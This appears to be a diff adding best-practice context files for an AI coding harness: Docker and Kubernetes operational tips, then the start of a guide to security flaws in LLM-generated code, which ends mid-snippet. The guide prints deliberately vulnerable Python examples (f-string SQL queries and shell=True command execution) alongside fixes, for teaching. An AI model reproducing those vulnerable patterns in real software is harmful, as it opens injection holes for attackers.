+## Payload Size Limits at Multiple Layers
+
+Large payloads embedded in environment variables or command-line arguments hit hard limits at multiple layers:
+- **OS `ARG_MAX`** (~128KB on Linux): the kernel limit on aggregate environment size. Exceeded values cause `Argument list too long` errors.
+- **K8s env var limit** (~228KB base64 per variable): containers crash with exit 255 and zero logs.
+- **CLI argv**: even when payload delivery fits via env var or file mount, many CLIs (`claude --print <prompt>`, shell wrappers) pass the prompt on argv, which hits `ARG_MAX` independently. When a prompt exceeds ~64KB, write it to a temp file and pipe via stdin instead of passing it positionally.
+
+Use mounted files (ConfigMaps, Secrets, host bind mounts) for any payload that approaches these limits. For inter-task artifact passing, use git branches or mounted volumes — not env var payloads. See also the [Kubernetes Patterns](kubernetes.md) entry on env var size limits.
+
+**Meta-rule:** after fixing an exec-arg limit at one layer (env, argv, file mount), immediately check adjacent layers for the same pattern before declaring it done. The same payload often flows through multiple chokepoints.
+
+## `rm -f` on Bind-Mounted Files Fails Under `set -e`
+
+Attempting `rm -f /path/to/bind-mounted-file` when the file is a bind mount (e.g., a host file mounted read-only into a container) fails with "Device or resource busy" even with the `-f` flag. Under `set -e` this exits the script immediately. Use `rm -f path 2>/dev/null || true` to suppress the error and continue, or check whether the path is a bind mount before attempting deletion.
+
+## Compose `profiles:` Blocks On-Demand Lifecycle Managers
+
+Services gated by `profiles:` in `docker-compose.yml` are not created until the profile is activated. On-demand lifecycle managers — Sablier, autoheal-style wake-up tools, CI runners that start/stop existing containers on request — cannot manage what does not exist. The container has no Docker record for them to act on.
+
+**Fix:** drop `profiles:` for services managed by an external lifecycle tool, and use `docker compose create` (not `up`) to materialise the containers in a stopped state. The lifecycle manager can then start them on demand.
+
+## GPU-Agnostic Base Compose with Provider Override Files
+
+Keep the base `docker-compose.yml` free of hardware-specific runtime config. Put NVIDIA/AMD/Apple GPU or accelerator runtime settings in separate override files composed in with `-f`:
+
+```
+docker-compose.yml              # GPU-agnostic base
+docker-compose.nvidia.yml       # NVIDIA runtime, device reservations
+docker-compose.apple.yml        # Apple Silicon / Metal settings
+docker-compose.amd.yml          # ROCm overrides
+```
+
+Deploy with `docker compose -f docker-compose.yml -f docker-compose.nvidia.yml up -d`. The same stack template deploys unchanged across heterogeneous hosts; adding a new accelerator type is an override file, not a fork of the base compose.
+
+## Snap-Packaged Docker Breaks After Unclean Shutdown
+
+**Symptom:** containers fail with "read-only file system" on `/opt/` or other snap-confined paths after a power cut or forced reboot, even though the disk is healthy.
+
+**Cause:** snap auto-refresh or AppArmor profile corruption during unclean shutdown leaves Docker's snap confinement in an inconsistent state.
+
+**Fix:** `snap restart docker` is usually enough; if not, `snap revert docker`. On production hosts, prefer distro-packaged or upstream Docker (`docker-ce` from Docker's apt repo) to avoid snap confinement entirely.
+
+## Set PYTHONPATH in Dockerfiles for `src/` Layout Projects
+
+Python projects using a `src/` layout must set `ENV PYTHONPATH=/app/src` in every Dockerfile that does `COPY src/ ./src/`. Local development hides the problem because `pip install -e .` wires up imports via the editable install — the container has no such install, so imports fail only at runtime inside the container.
+
+Set `PYTHONPATH` when scaffolding the Dockerfile, not after the first failed container run. Same rule applies to any multi-stage build where the final stage copies `src/` without re-running `pip install`.
+
+## Write CLI Entrypoints Alongside the Module They Run
+
+When a module will run inside a container, create its `_cli.py` entry point and verify the Dockerfile `ENTRYPOINT` in the same phase/commit as the module itself. Deferring CLI shims to "a later phase" repeatedly leads to containers that build cleanly but have no runnable entry point — the build passes, the deployment looks healthy, and the first invocation fails with `No module named ...` or an `ENTRYPOINT` that points at nothing.
+
+Treat "module + CLI shim + ENTRYPOINT verification" as one atomic unit of work.
+
+## Pin All Container Images by Digest, Never by Tag
+
+Mutable tags (`:latest`, `:v1.2.3`, `:stable`) can silently resolve to a different image after a rebuild. An image pinned to `myimage:v1.2.3` at deploy time may pull a newly-built `myimage:v1.2.3` months later that contains different code — no signal to the deployer that anything changed.
+
+**Rule:** always pin to a content-addressable digest. Obtain the digest at build time:
+```bash
+docker buildx build --push -t reg.io/img@sha256:<digest> .
+```
+
+In Dockerfiles, reference the digest directly:
+```dockerfile
+FROM reg.io/base@sha256:a1b2c3d4e5f6...
+```
+
+In Kubernetes manifests and Helm values, use:
+```yaml
+image: reg.io/img@sha256:a1b2c3d4e5f6...
+```
+
+If using a tag is unavoidable, add a pre-flight check that fails if the tag resolves to a different digest than the one baked into the deployment config.
+
+The semver versioning system (where available) encodes expectations about change severity — a patch bump should not silently include unrelated changes. Digest pinning makes the version-content contract verifiable.
+
+## PostgreSQL Alpine Image Runs as UID 70, Not 999
+
+The `postgres:*-alpine` images run postgres as **UID 70**, not the 999 used by Debian-based `postgres:*` images. Setting data-directory ownership to 999 (or 1000) via host `chown` or Ansible `file` modules silently breaks access — `pg_isready` may still pass while internal operations fail with "Permission denied" on WAL writes, replication slots, or extension installs.
+
+**Always verify before setting ownership:**
+```
+docker exec --user postgres <container> id
+```
+
+Match the automation to the actual UID. If a project mixes Alpine and Debian Postgres images across environments, treat the UID as per-environment config, not a hardcoded constant.
+
+## Drop Placeholder `require` Lines Before `hugo mod get`/`go get @branch`
+
+When a `go.mod` pins a module to the placeholder version `v0.0.0` (common for a not-yet-tagged private dependency), `hugo mod get <module>@<branch>` (and `go get`) still tries to resolve the existing `v0.0.0` first and fails with `unknown revision v0.0.0` — even though a valid `@branch` override is supplied.
+
+Fix: run `go mod edit -droprequire=<module>` for each placeholder dep *before* the `mod get`. Dropping the require line lets the `@branch` fetch proceed cleanly. Prefer this over editing `go.mod` with sed/bash arithmetic (no `set -e` footguns). Works inside any image bundling Go (e.g. the Hugo build image).
+
+## Make a Script Self-Contained When It Runs in a Different Image
+
+A helper script that imports the app's package (`from myapp import ...`) breaks with `ModuleNotFoundError` when copied into a separate, minimal image that doesn't install that package. When a script is destined to run inside a different (e.g. slimmer, single-purpose) image than the one it was authored against, inline its dependencies — call the underlying library (`httpx`, etc.) directly instead of importing the application package. Don't assume the target image shares the source image's installed packages.

harnesses/contexts/best-practices/v1/best-practices/kubernetes.md

@@ -1 +0,0 @@
-../../../planning/v1/best-practices/kubernetes.md

harnesses/contexts/best-practices/v1/best-practices/kubernetes.md

@@ -0,0 +1,222 @@
+# Kubernetes Patterns
+
+## Volume Mounts
+
+- **Avoid `subPath` volume mounts** for Secrets and ConfigMaps. The kubelet does not auto-update `subPath` mounts when the source changes — the pod must be restarted. Use directory mounts instead and adjust the application's config path.
+- **Secret volume propagation is async.** After updating a Secret, the kubelet takes seconds to sync mounted volumes. A `rollout restart` issued immediately after may start pods with stale data. Add a short delay (5s) before restarting.
+
+## Deployment Strategies
+
+- **RWO PVC + RollingUpdate = Deadlock.** New pod can't attach the volume while the old pod holds it. Use `strategy: Recreate` for single-replica deployments with RWO PVCs.
+- **SSA + strategy change conflict.** Switching from RollingUpdate to Recreate via ServerSideApply fails because SSA won't remove the old `rollingUpdate` field. Must patch the live resource first.
+
+## Naming
+
+- `metadata.name` must be DNS-1035 compliant — no dots allowed. Replace dots with dashes (e.g., `oreillyit-nz` not `oreillyit.nz`). Label values CAN contain dots.
+
+## Bootstrap Ordering
+
+Some components have chicken-and-egg dependencies:
+1. CNI (e.g., Cilium) must be installed before anything else — nodes are NotReady without it
+2. GitOps controller (e.g., ArgoCD) installed second
+3. Root app applied last — the GitOps controller then "adopts" CLI-installed releases
+
+Manual bootstrap secrets (encryption keys, OIDC client secrets) must be documented as explicit steps.
+
+## Network Policies
+
+- DNS egress for `toFQDNs` rules must use `toEndpoints` targeting kube-dns pods with `rules.dns` — this triggers the DNS proxy. Using `toCIDRSet` for DNS bypasses the proxy and FQDN rules never populate.
+- Cross-namespace policies need explicit namespace matching (e.g., `matchExpressions` on namespace label).
+- Always test from the actual consumer namespace, not same-namespace test pods.
+
+## Probe Strategy
+
+- **Liveness vs readiness probes serve different purposes.** TCP checks confirm the process is listening (liveness). Exec/command checks confirm the application is ready to serve (readiness). Don't conflate them.
+- **Probes must match application host validation.** Applications that validate Host headers (e.g., Next.js `ALLOWED_HOSTS`) will reject probes sent to the pod IP. Set `httpGet.httpHeaders` with the expected Host value.
+- **Don't load credentials into liveness probes.** If readiness requires an authenticated check (e.g., `sqlcmd`), use a simple TCP check for liveness and reserve the authenticated check for readiness only.
+- **`timeoutSeconds: 1` is too tight for services with DB connections or async startup.** The default probe timeout is 1 second, which causes spurious failures when a service is initialising a connection pool or running async startup tasks. Use 3–5 seconds as a minimum for any service that touches a database or has an async lifespan handler.
+
+## Init Container Patterns
+
+- **Writable config via init container + emptyDir.** When apps require writable directories but ConfigMaps are read-only, use an init container to copy config into an emptyDir volume that the main container mounts read-write.
+- **Privilege separation.** Init containers can run as root to create directories or set ownership, while the main container runs as a non-root UID. Prefer this over running the entire workload as root.
+- **Non-root images have hidden filesystem requirements.** Many modern images (e.g., MSSQL 2022, UID 10001) need writable directories beyond the obvious ones. Always check image documentation or `docker inspect` before writing manifests.
+
+## StatefulSet Edge Cases
+
+- **CrashLoopBackOff pods won't auto-replace on spec update.** The StatefulSet controller won't delete and recreate a crashing pod when you update the spec — manual `kubectl delete pod` is required to force recreation.
+- **Immutable field diffs can deadlock auto-sync.** StatefulSet fields like `volumeClaimTemplates` are immutable after creation. GitOps controllers (ArgoCD) will show permanent OutOfSync if the desired state differs from the live immutable fields. Force sync or recreate the StatefulSet.
+- **SSA causes perpetual OutOfSync from defaulted fields.** Kubernetes defaults fields on StatefulSets (`persistentVolumeClaimRetentionPolicy`, `revisionHistoryLimit`, `updateStrategy.rollingUpdate.partition`) that aren't in the Helm template. With `ServerSideApply=true`, GitOps controllers see these as diffs and report OutOfSync even though the app is Healthy. The app functions correctly — this is cosmetic. Consider ArgoCD `ignoreDifferences` for these fields.
+
+## GitOps: Imperative vs Declarative
+
+- **Never use imperative operations on GitOps-managed resources.** `kubectl rollout restart` adds annotations that conflict with the GitOps controller's desired state, causing permanent OutOfSync. Use declarative paths instead — update a configmap hash annotation in Git, or change a pod template label.
+- **ArgoCD reconciliation has latency.** New Application manifests don't appear immediately due to polling intervals. Use manual refresh annotations when automation needs immediate reconciliation.
+- **Self-managed GitOps controllers revert their own live config.** When the GitOps controller manages itself via its own Helm chart with `selfHeal: true` (e.g., ArgoCD reconciling `argocd-cm`/`argocd-rbac-cm`), direct `kubectl patch`/`apply` on its ConfigMaps is reverted within seconds. Change the controller's Helm `values.yaml` in the deploy repo (accounts, RBAC policy CSV, server settings) — never the live ConfigMaps. Applies to any account/RBAC/config change on a self-managed controller.
+- **A newly-created API account/token 403s until the config sync completes.** If you generate an API token for a GitOps-managed service account before the account exists in the live config (still mid-Helm-sync), the token returns 403. Wait for self-sync to complete, confirm the account is present, then generate the token.
+- **Grant the narrowest role for the job.** A service that only reads controller/app status (e.g., a preview-readiness check) needs a read-only role, not a sync/deploy role. Scope the GitOps API account to exactly what it does.
+- **Runtime-only "poke" annotations cause persistent OutOfSync.** Annotations added imperatively to trigger controller behaviour — e.g., a `force-sync`/`reconcile` annotation on an ExternalSecret to make External Secrets Operator refresh — are not present in Git, so the GitOps controller reports the resource `OutOfSync` indefinitely. Remove the annotation once it has done its job: `kubectl annotate <kind> <name> -n <ns> <annotation-key>-`. Applies to any "poke the controller" annotation not stored in the source manifest.
+
+## PodSecurity Alignment
+
+- **Namespace PodSecurity labels must match container security contexts.** DinD, CSI drivers, and other privileged workloads need `pod-security.kubernetes.io/enforce: privileged` on their namespace. A `baseline` or `restricted` namespace silently blocks privileged pods.
+- **Document privileged namespace requirements.** When a workload needs elevated privileges, document the specific requirement (e.g., "Docker-in-Docker for CI builds") alongside the namespace label.
+- **Monitoring namespace requires privileged PodSecurity for node-exporter.** kube-prometheus-stack's node-exporter DaemonSet mounts host paths and uses `hostPID: true`. The monitoring namespace must be labelled `pod-security.kubernetes.io/enforce: privileged` or node-exporter pods will be silently blocked. Set this via GitOps namespace metadata — don't apply it manually or it will be reverted by the GitOps controller.
+
+## Cilium Entity Identities (any pod-to-cluster-infrastructure egress)
+
+Applies to any pod that needs to reach cluster infrastructure — kube-apiserver, kubelets, node-exporter, host services. Not just Prometheus scraping. Common cases that trip on this: OpenBao/Vault calling TokenReview, External Secrets Operator authenticating to Vault via k8s auth, controllers calling subjectaccessreviews, anything that hits `https://kubernetes.default.svc`.
+
+| Target | Cilium entity |
+|---|---|
+| kube-apiserver (port 6443) | `kube-apiserver` |
+| Worker node kubelet / node-exporter | `remote-node` |
+| Same-node kubelet (DaemonSet on same node) | `host` |
+
+**Standard `NetworkPolicy` `ipBlock` CIDR rules do NOT match cluster node IPs.** Cluster nodes carry the Cilium `remote-node` (or `kube-apiserver`) identity, and `ipBlock` only matches IPs *without* a Cilium identity (i.e., off-cluster). Listing `10.X.X.0/24` for the control-plane subnet and expecting it to allow apiserver egress will silently fail — the rule is treated as a no-op and traffic is dropped. The CNI-native expression is `CiliumNetworkPolicy` with `toEntities: [...]`.
+
+The `namespaceSelector: kube-system` rule is also ineffective for kube-apiserver because the API server runs `hostNetwork: true` and is not selectable by namespace selector — its identity is host/remote-node/kube-apiserver, not the kube-system pod identity.
+
+Using the wrong entity (or the wrong policy kind) results in silent policy drops. Symptom for apiserver-bound traffic: HTTPS calls hang until the client times out (typically 30s for Go HTTP defaults), then the upstream returns a generic error like `permission denied`. Test with `cilium monitor --type drop` to confirm the drop is at L3, or — if you can `exec` into the pod — try `wget --timeout=5 https://kubernetes.default.svc/healthz` and see if it `Terminated`s.
+
+**Worked example (recurring incident pattern):** A secrets backend pod calls `auth/kubernetes/login` against the apiserver and hangs for exactly 30 seconds before returning a generic `permission denied`. The first hypothesis is RBAC or token misconfiguration — neither is the cause. Standard `NetworkPolicy ipBlock` rules listing the control-plane subnet don't match because cluster nodes carry the `kube-apiserver` / `remote-node` Cilium identity, and `ipBlock` only matches IPs without an identity. Fix is `CiliumNetworkPolicy` with `toEntities: [kube-apiserver]` on TCP 6443. Same pattern affects every workload that hits `https://kubernetes.default.svc` — External Secrets Operator, custom controllers, anything doing TokenReview / SubjectAccessReview.
+
+## Every New K8s API Surface Needs Explicit RBAC in the Deploy Repo
+
+When a service starts touching a new K8s API resource (CRDs, custom controllers, ExternalSecrets, Jobs, Leases), add a namespace-scoped `Role` + `RoleBinding` to the deploy repo in the **same commit** as the code that touches the API.
+
+**Why this matters:**
+- Manual `kubectl apply` during development masks the gap because the local kubectl admin context bypasses RBAC. Production then 403s silently and stalls reconcile loops.
+- The GitOps reconciliation tries to apply the controller config but fails to read the underlying API; the symptom is a "permission denied" log line lost among thousands of other logs.
+- The RBAC commit lands AFTER the feature commit, leaving an interval where the deployed code is broken in any environment that doesn't have the dev's admin context.
+
+**Pattern:** every new API call requires either:
+1. A namespace-scoped `Role` with the specific verbs (`get`, `list`, `watch`, `create`, `update`, `patch`, `delete` — only the ones actually used) on the specific resource
+2. A `RoleBinding` to the service's `ServiceAccount`
+
+Bundle both into the same deploy-repo commit as the code change. A reviewer should be able to grep for any new K8s API call in the code diff and find the matching `Role` verbs in the manifest diff.
+
+**Common miss:** CRD custom resources need explicit `apiGroups` entries (e.g., `apiGroups: ["external-secrets.io"]`), not just `resources`. Forgetting the API group looks like a working Role definition but matches nothing.
+
+## Kustomize Overlay `images:` Blocks Silently Override Base Tags
+
+Kustomize `images:` blocks in an overlay apply to the entire rendered manifest, including any images defined in `base/`. If the base defines `image: my-app:v1.0.0` and the overlay has an `images:` block targeting `my-app`, the overlay's `newTag` silently wins — even if you intended the base tag to remain. When deploying a new image version via Kustomize, always update the `images:` block in the overlay, not just the base manifest. If the overlay doesn't have an `images:` block, add one rather than editing the base tag directly.
+
+## ArgoCD Source Type Detection
+
+- **ArgoCD auto-detects Kustomize.** When a source directory contains `kustomization.yaml`, ArgoCD runs Kustomize automatically. Adding an explicit `directory:` source type overrides this detection and causes ArgoCD to try applying `kustomization.yaml` as a raw K8s resource, which fails with schema errors. Remove explicit directory source types from Kustomize sources.
+- **Credential template URL-prefix must match exactly.** ArgoCD repo-creds secrets use URL prefix matching. When migrating Git server URLs (hostname, protocol, or port changes), update the credential template to match the new prefix. Stale credentials cause "authentication required" errors on all apps using that prefix.
+
+## Miscellaneous
+
+- `enableServiceLinks: false` may be needed when K8s-injected service env vars conflict with app config (e.g., Authelia interprets `AUTHELIA_*` service vars as configuration). A related symptom: pytest test collection fails with errors like `PORT=tcp://10.96.0.1:443` — K8s injects `<SERVICE>_PORT` as a full TCP URI, which many frameworks try to parse as an integer and crash. Setting `enableServiceLinks: false` on the pod removes all injected service env vars and resolves this class of error.
+- Proxmox VM names must match K8s node hostnames for cloud controller manager integration.
+- Metrics-server on Talos needs `--kubelet-insecure-tls` (self-signed kubelet certs).
+
+## ArgoCD SSA + StatefulSet volumeClaimTemplates = Perpetual OutOfSync
+
+Kubernetes injects `apiVersion` and `kind` fields into StatefulSet `volumeClaimTemplates` on apply. These don't exist in source manifests, causing ArgoCD with ServerSideApply to report perpetual OutOfSync. Fix: add `ignoreDifferences` on the ArgoCD Application targeting `.spec.volumeClaimTemplates[]?.apiVersion` and `.spec.volumeClaimTemplates[]?.kind` (using `jqPathExpressions`), plus `RespectIgnoreDifferences=true` in syncOptions.
+
+## ArgoCD SSA May Not Detect ConfigMap Data Changes
+
+ArgoCD with ServerSideApply sometimes fails to detect changes to ConfigMap `data` values, reporting "Synced + Healthy" while the live ConfigMap has stale content. Root cause: SSA field ownership conflicts between Helm's managed fields and a prior `kubectl apply` annotation. After syncing ConfigMaps managed by Helm+SSA, verify content with `kubectl get cm <name> -o jsonpath='{.data.<key>}'`.
+
+## CSI VolumeAttachment Stuck After Hot-Plug Failure
+
+CSI hot-plug of storage devices can fail silently — the VolumeAttachment object says `attached: true` but the device never appeared on the node. Pods get stuck in `ContainerCreating` with "device not found." Fix: delete the stale VolumeAttachment (`kubectl delete volumeattachment <name>`). The CSI driver recreates it and retries the attach.
+
+**QMP-timeout leading indicator for hypervisor CSI hotplug failures.** When a hypervisor-backed CSI driver (Proxmox, vSphere) returns `ControllerPublishVolume` "published" but the block device never appears in the guest (`/dev/disk/by-id/wwn-0x...` absent) and the pod stays in `ContainerCreating`, check the hypervisor logs for a QMP command timeout during the preceding unpublish (e.g. `qmp command 'query-pci' failed - got timeout`). This points to an unstable backing VM/host, not a Kubernetes bug. Short-term workaround: add `nodeAffinity` with `NotIn: <bad-node>` on the deployment to steer the workload off the flaky VM while the hypervisor-side QMP stability is investigated.
+
+**Targeted SCSI scan instead of full-bus rescan when hotplugged disks don't appear.** After a CSI hotplug, forcing a device rescan with a full-bus wildcard (`echo "- - -" > /sys/class/scsi_host/host*/scan`) hangs on some controllers. Use a targeted single-LUN scan instead: `echo "0 0 <lun>" > /sys/class/scsi_host/host<X>/scan` to probe a specific LUN without blocking the whole bus.
+
+## Delete and Recreate ArgoCD Apps on Source Type Changes
+
+When changing an ArgoCD Application's source type (e.g., multi-source Helm to single-source Kustomize), the repo-server may serve cached manifests from the old configuration, and old Helm hook resources become ghost entries that block deletion via finalizers. Delete the Application entirely and let the root app recreate it rather than patching source types in-place.
+
+## etcd on Slow Storage Requires Timeout Tuning
+
+etcd requires sub-10ms fsync for stable operation. On slow storage (HDD, network-attached, overloaded SSD), default timeouts (heartbeat 100ms, election 1000ms) cause leader election flapping, cascading scheduler/controller-manager restarts, and widespread probe failures. Symptoms: "leader failed to send out heartbeat on time", "apply request took too long." Mitigation: increase heartbeat-interval (e.g., 500ms) and election-timeout (e.g., 5000ms). Fix: move etcd to SSD storage. Periodic defrag also helps.
+
+## CrashLoopBackOff Delays New Image Pickup
+
+After CI builds a fix for a crashing pod, the CrashLoopBackOff exponential backoff (up to 5 minutes) means the kubelet won't pull the new image until the next retry window. Run `kubectl rollout restart deployment/<name>` immediately after CI completes to create a fresh pod instead of waiting.
+
+## K8s Secret Volumes Are Read-Only with Root Ownership
+
+K8s Secret volume mounts are read-only — you cannot write or modify files in them. Files are owned by root regardless of fsGroup settings. Non-root processes need `defaultMode: 0444` (world-readable) to access the files. Additionally, mounting a Secret at a parent path shadows any other Secret mounts at child paths — mount each Secret at its own non-overlapping path.
+
+## K8s Env Var Size Limits for Payloads
+
+Kubernetes has a hard limit on environment variable sizes (~228KB base64). Large payloads embedded as env vars cause containers to crash with exit 255 and zero logs. For inter-task artifact passing, use git branches or mounted volumes instead of env var payloads.
+
+## Non-Blocking Registration in FastAPI Lifespan Handlers
+
+Blocking operations (external API calls, service registration) in application lifespan handlers prevent the HTTP server from starting. K8s liveness probes fail and the pod enters CrashLoopBackOff before the operation completes. Use background tasks (e.g., `asyncio.create_task`) for registration so health endpoints respond immediately while registration happens asynchronously. This applies to any K8s-deployed app framework with startup hooks (FastAPI, Flask, etc.).
+
+## Verify Live Cluster State vs Deploy Repo Before Planning Changes
+
+GitOps controllers (ArgoCD, Flux) preserve fields added by manual `kubectl patch`/`apply` when those fields aren't in the deploy repo — unknown fields are not removed unless the controller sees a conflicting managed field. Symptom: live ConfigMap/IngressRoute has values not in Git, causing "it works differently than the manifests say" debugging. Before changing GitOps-managed resources, diff `kubectl get -o yaml` against the deploy repo and add explicit values to Git so subsequent syncs reset any manual drift.
+
+## Force-Delete Pods Stuck Terminating After Node Disruption
+
+After power cut, kernel panic, or abrupt node loss, pods can be stuck in Terminating indefinitely (observed 22h+). The owning controller (Deployment, StatefulSet, ArgoCD application-controller) is blocked from creating a replacement, so upstream symptoms look like "GitOps stuck on old commit" or "service unreachable". Fix: `kubectl delete pod <name> --grace-period=0 --force`. The controller recreates immediately and reconciliation resumes.
+
+## CNI L2 LoadBalancer Announcements: Use externalTrafficPolicy Cluster
+
+With L2-announced LoadBalancer IPs (Cilium, MetalLB), `externalTrafficPolicy: Local` silently drops packets whenever the node winning the ARP lease doesn't run a backend pod — only that node holds a BPF/iptables LB entry. Use `externalTrafficPolicy: Cluster` and recover source IP at L7 (X-Forwarded-For, Proxy Protocol) instead.
+
+## Restart CNI Agents After Agent-Affecting Config Changes
+
+CNI Helm values that land in the agent ConfigMap (L2 announcements, Hubble, envoy features) do not take effect until agent pods restart — the agent logs a "config drift" warning but keeps running the old config. After changing agent-affecting values, `kubectl rollout restart daemonset/<cni-agent>` then `kubectl rollout restart deployment/<cni-operator>`.
+
+## Upgrade Storage-Consuming Nodes Sequentially, Not Concurrently
+
+Rolling upgrades that reboot multiple nodes concurrently can race external CSI controllers (Proxmox, vSphere, any hypervisor plugin doing hotplug). Parallel `ControllerPublishVolume`/`Unpublish` calls leave VolumeAttachments attached to the wrong VM or in a state where `attached: true` but the device is absent. Wait for each node Ready and CSI pods stable before upgrading the next; verify with `kubectl get volumeattachment`.
+
+## Split Multi-Host IngressRoutes With Separate TLS Secrets
+
+A Traefik IngressRoute using `Host(a.example) || Host(b.example)` can only reference one `tls.secretName`; the second domain silently falls back to Traefik's self-signed default cert. Split into one IngressRoute per Host match with its own `tls.secretName`. Generalises to any ingress controller pairing a single TLS secret per ingress object.
+
+## Delete-and-Recreate, Don't Patch, When Adopting Manually-Applied Resources into GitOps
+
+When a resource was first created with `kubectl apply` and then placed under GitOps ServerSideApply management, stale field-manager metadata causes perpetual OutOfSync that patching cannot resolve. Fix: `kubectl delete` the resource and let the GitOps controller recreate it with clean field ownership. Applies to any SSA-managed CRD adoption.
+
+## etcd extraArgs Changes Require a Node Reboot on Immutable-OS Distros
+
+On immutable-OS distros (Talos, Bottlerocket, Flatcar), etcd runs as a system service. Patching machine config with `cluster.etcd.extraArgs` reports "Applied without reboot" but etcd keeps old args until the process restarts — which only happens on a full node reboot. After etcd flag changes, roll the control plane (non-leader first, leader last) and verify with `etcd status`/logs.
+
+## etcd Defrag Reclaims Space from Deleted Keys
+
+etcd does not auto-reclaim space from deleted keys; the DB grows over time and hurts fsync latency on slow disks. Periodic `etcdctl defrag` (or Talos `etcd defrag`) reclaims 30-50% on typical clusters. Run on non-leader members first, leader last. Especially important on HDD or contended SSD.
+
+## Hard-Reset Immutable-OS Nodes Stuck in Kernel-Level Boot
+
+Immutable-OS API reboots (e.g., `talosctl reboot`) require the OS API running in userspace. When a node is stuck pre-userspace — XFS quotacheck after unclean shutdown, fsck, long kernel init — the API is unreachable. Use hypervisor-level hard reset (`qm reset`, `virsh reset`, cloud provider stop/start) to force a clean boot; kernel-level recovery usually completes in seconds.
+
+## Reconciliation Controller Pattern: Pure Diff, I/O Reconciler
+
+When writing a GitOps reconciliation controller, split into a pure function (desired vs actual → DiffResult, no I/O) and a separate reconciler class that handles all side effects (API calls, safety limits, logging). The pure diff is testable with zero mocks; the reconciler is mocked at its I/O boundary. Clean architecture for any controller reconciling declarative state against an external API.
+
+## Controller Safety: Manage Only Declared Resources by Default
+
+A reconciliation controller should touch only resources explicitly declared in its source-of-truth config; unmanaged resources should be logged but never deleted. Avoid "bulk replace" APIs that atomically overwrite everything — prefer per-record create/update/delete so incomplete declarations can't wipe records (NS, SOA, operator-managed). Design opt-in flags (`managed: all`, `conflict: alert|automatic`) from day one.
+
+## Webhook-Triggered Reconciliation with Token Auth
+
+Pair periodic reconciliation with an authenticated POST `/reconcile` endpoint so push events can trigger immediate sync. Use a 32+ char Bearer token with constant-time comparison, fail-closed (return 501) if the token is not configured. Avoids worst-case polling latency when a human just committed.
+
+## kubernetes-py CustomObjectsApi: SSA Requires a Dedicated ApiClient
+
+`CustomObjectsApi.patch_namespaced_custom_object(force=True)` fails with HTTP 422 on kubernetes-py v35 (`PatchOptions.meta.k8s.io is invalid: force: Forbidden: may not be specified for non-apply patch`). The default Content-Type is `application/merge-patch+json`; `force` is only valid on real server-side applies (`application/apply-patch+yaml`). The `_content_type` kwarg that older docs reference is not exposed in v35. Workaround: build a dedicated `ApiClient` and `set_default_header("Content-Type", "application/apply-patch+yaml")` on it; pass that client to a separate `CustomObjectsApi` used only for SSA patches. Reads/deletes use the default client (no body, default Content-Type harmless). The bug is silent in tests because mocks accept any kwargs — only a real apiserver round-trip surfaces it.
+
+## `kubectl debug node/<node>` Fails Under Enforced PodSecurity
+
+In namespaces/clusters enforcing PodSecurity `baseline` or `restricted`, `kubectl debug node/...` is rejected because its debug pod uses `hostPID` and `hostPath` (a baseline violation). Workaround: manually create a debug pod in a `privileged`-labelled namespace (e.g. the CSI driver's namespace) with `nodeSelector: kubernetes.io/hostname: <node>` and `securityContext.privileged: true`, rather than relying on `kubectl debug node`.
+
+## `kubectl apply` of a New Image Tag May Not Roll Pods
+
+Re-applying a Deployment with a bumped image tag does not reliably trigger a new rollout — the in-cluster image reference can stay cached, and `kubectl apply --force` does not fix it. When bumping an image version imperatively, `kubectl delete deployment <name>` before re-applying to guarantee a fresh pull. (In GitOps flows, prefer a digest pin or a template-hash annotation change; this delete-then-apply pattern is for imperative/dev workflows only.)
+
+## A Correct CiliumNetworkPolicy Egress Rule Won't Help If Ingress Is Gated by a Plain NetworkPolicy
+
+When a client pod times out reaching a service despite a correct `CiliumNetworkPolicy` egress rule on the client side, check the target's **ingress** policy — it may be a standard Kubernetes `NetworkPolicy` (not Cilium) that whitelists only specific source namespaces. Cilium and plain NetworkPolicy coexist and are additive; both directions must permit the flow. The ingress policy is often owned by the deploy repo, separate from the application and cluster-bootstrap repos, so grep there first. When debugging cross-namespace connectivity, enumerate both the client's egress rules and every ingress policy selecting the target pod.

harnesses/contexts/best-practices/v1/best-practices/llm-code-security.md

@@ -1 +0,0 @@
-../../../planning/v1/best-practices/llm-code-security.md

harnesses/contexts/best-practices/v1/best-practices/llm-code-security.md

@@ -0,0 +1,910 @@
+# Security of LLM-Generated Code
+
+Practical guide to security vulnerabilities commonly introduced by LLMs (Claude, GPT-4, Copilot) when generating Python, shell scripts, Kubernetes manifests, and Helm charts. Based on published research from 2024-2026.
+
+## Key Statistics
+
+- 25-75% of AI-generated code contains security vulnerabilities depending on language, model, and prompting (Endor Labs, multiple academic studies)
+- 29.5% of Copilot-generated Python snippets and 24.2% of JavaScript snippets contain security weaknesses across 43 CWE categories (ACM study, 2024)
+- 19.7% of LLM-suggested packages are hallucinations -- non-existent package names (slopsquatting study, 576,000 code samples across 16 models)
+- 80% of AI-suggested dependencies contain known risks (Endor Labs 2025 State of Dependency Management Report)
+- Repositories with Copilot active show 6.4% secret leakage rate, 40% higher than the 4.6% baseline across public repos
+
+---
+
+## 1. OWASP Top 10 in LLM-Generated Code
+
+Missing input sanitization is the single most common security flaw in LLM-generated code across all languages and models. The most prevalent CWE categories are:
+
+| CWE | Name | Frequency |
+|-----|------|-----------|
+| CWE-89 | SQL Injection | Very High |
+| CWE-79 | Cross-Site Scripting (XSS) | Very High |
+| CWE-78 | OS Command Injection | High |
+| CWE-22 | Path Traversal | High |
+| CWE-20 | Improper Input Validation | Very High |
+| CWE-259/798 | Hard-coded Credentials | High |
+| CWE-330 | Insufficiently Random Values | High |
+| CWE-94 | Code Injection | High |
+| CWE-120/787 | Buffer Overflow | Medium (C/C++) |
+| CWE-918 | SSRF | Medium |
+
+### What LLMs get wrong
+
+LLMs generate code that "works" for the happy path but omits defensive coding. They reproduce patterns from training data, which is full of tutorials and Stack Overflow snippets that skip security for brevity. The model optimises for functional correctness, not security.
+
+### SQL Injection
+
+**Vulnerable pattern (Python):**
+```python
+# LLM-generated: string interpolation in SQL
+def get_user(username):
+    query = f"SELECT * FROM users WHERE username = '{username}'"
+    cursor.execute(query)
+    return cursor.fetchone()
+```
+
+**Secure alternative:**
+```python
+def get_user(username):
+    cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
+    return cursor.fetchone()
+```
+
+### Command Injection
+
+**Vulnerable pattern (Python):**
+```python
+import subprocess
+def ping_host(hostname):
+    result = subprocess.run(f"ping -c 1 {hostname}", shell=True, capture_output=True)
+    return result.stdout
+```
+
+**Secure alternative:**
+```python
+import subprocess
+import shlex
+def ping_host(hostname):
